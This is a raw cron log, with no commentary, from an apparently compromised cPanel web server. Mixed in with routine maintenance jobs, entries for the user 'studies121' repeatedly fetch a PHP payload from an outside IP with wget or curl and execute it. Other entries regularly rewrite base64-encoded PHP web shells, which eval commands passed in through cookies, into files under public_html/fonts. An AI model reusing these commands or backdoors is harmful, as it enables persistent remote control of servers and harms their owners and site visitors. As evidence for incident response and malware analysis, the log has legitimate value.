Sep 22 15:44:01 ip-184-168-122-23 CROND[26008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:45:01 ip-184-168-122-23 CROND[26797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:45:01 ip-184-168-122-23 CROND[26798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:45:01 ip-184-168-122-23 CROND[26802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:45:01 ip-184-168-122-23 CROND[26800]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:45:01 ip-184-168-122-23 CROND[26803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:45:01 ip-184-168-122-23 CROND[26808]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:46:01 ip-184-168-122-23 CROND[27521]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:46:01 ip-184-168-122-23 CROND[27523]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 15:46:01 ip-184-168-122-23 CROND[27524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:46:01 ip-184-168-122-23 CROND[27526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:46:01 ip-184-168-122-23 CROND[27527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:46:01 ip-184-168-122-23 CROND[27525]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 15:46:01 ip-184-168-122-23 CROND[27529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:47:01 ip-184-168-122-23 CROND[28225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:47:01 ip-184-168-122-23 CROND[28224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:47:01 ip-184-168-122-23 CROND[28227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:47:01 ip-184-168-122-23 CROND[28228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:48:02 ip-184-168-122-23 CROND[28999]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:48:02 ip-184-168-122-23 CROND[29000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:48:02 ip-184-168-122-23 CROND[29001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:48:02 ip-184-168-122-23 CROND[29002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:48:02 ip-184-168-122-23 CROND[29003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:49:01 ip-184-168-122-23 CROND[29811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:49:01 ip-184-168-122-23 CROND[29810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:49:01 ip-184-168-122-23 CROND[29812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:49:01 ip-184-168-122-23 CROND[29815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:49:41 ip-184-168-122-23 crontab[30477]: (root) LIST (root)
Sep 22 15:50:01 ip-184-168-122-23 CROND[30909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:50:01 ip-184-168-122-23 CROND[30910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:50:01 ip-184-168-122-23 CROND[30911]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 15:50:02 ip-184-168-122-23 CROND[30917]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:50:02 ip-184-168-122-23 CROND[30919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:50:02 ip-184-168-122-23 CROND[30921]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:50:02 ip-184-168-122-23 CROND[30920]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:50:02 ip-184-168-122-23 CROND[30922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:50:02 ip-184-168-122-23 CROND[30923]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 15:51:01 ip-184-168-122-23 CROND[31621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:51:01 ip-184-168-122-23 CROND[31622]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:51:01 ip-184-168-122-23 CROND[31624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:51:01 ip-184-168-122-23 CROND[31627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:52:01 ip-184-168-122-23 CROND[32382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:52:01 ip-184-168-122-23 CROND[32383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:52:01 ip-184-168-122-23 CROND[32386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:52:01 ip-184-168-122-23 CROND[32388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:52:01 ip-184-168-122-23 CROND[32387]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:53:01 ip-184-168-122-23 CROND[606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:53:01 ip-184-168-122-23 CROND[607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:53:01 ip-184-168-122-23 CROND[610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:53:01 ip-184-168-122-23 CROND[608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:54:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 22 15:54:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 22 15:54:01 ip-184-168-122-23 CROND[1463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:54:01 ip-184-168-122-23 CROND[1462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:54:01 ip-184-168-122-23 CROND[1467]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:54:01 ip-184-168-122-23 CROND[1466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:54:02 ip-184-168-122-23 CROND[1469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:54:05 ip-184-168-122-23 crontab[1508]: (root) LIST (root)
Sep 22 15:54:05 ip-184-168-122-23 crontab[1513]: (root) LIST (root)
Sep 22 15:54:35 ip-184-168-122-23 crontab[1892]: (root) LIST (root)
Sep 22 15:55:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Sep 22 15:55:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep 22 15:55:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Sep 22 15:55:01 ip-184-168-122-23 CROND[2141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:55:01 ip-184-168-122-23 CROND[2143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 15:55:01 ip-184-168-122-23 CROND[2142]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 15:55:01 ip-184-168-122-23 CROND[2146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 15:55:01 ip-184-168-122-23 CROND[2147]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:55:01 ip-184-168-122-23 CROND[2149]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 15:56:01 ip-184-168-122-23 CROND[2534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 15:56:01 ip-184-168-122-23 CROND[2535]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 15:56:01 ip-184-168-122-23 CROND[2543]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 15:56:01 ip-184-168-122-23 CROND[2544]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
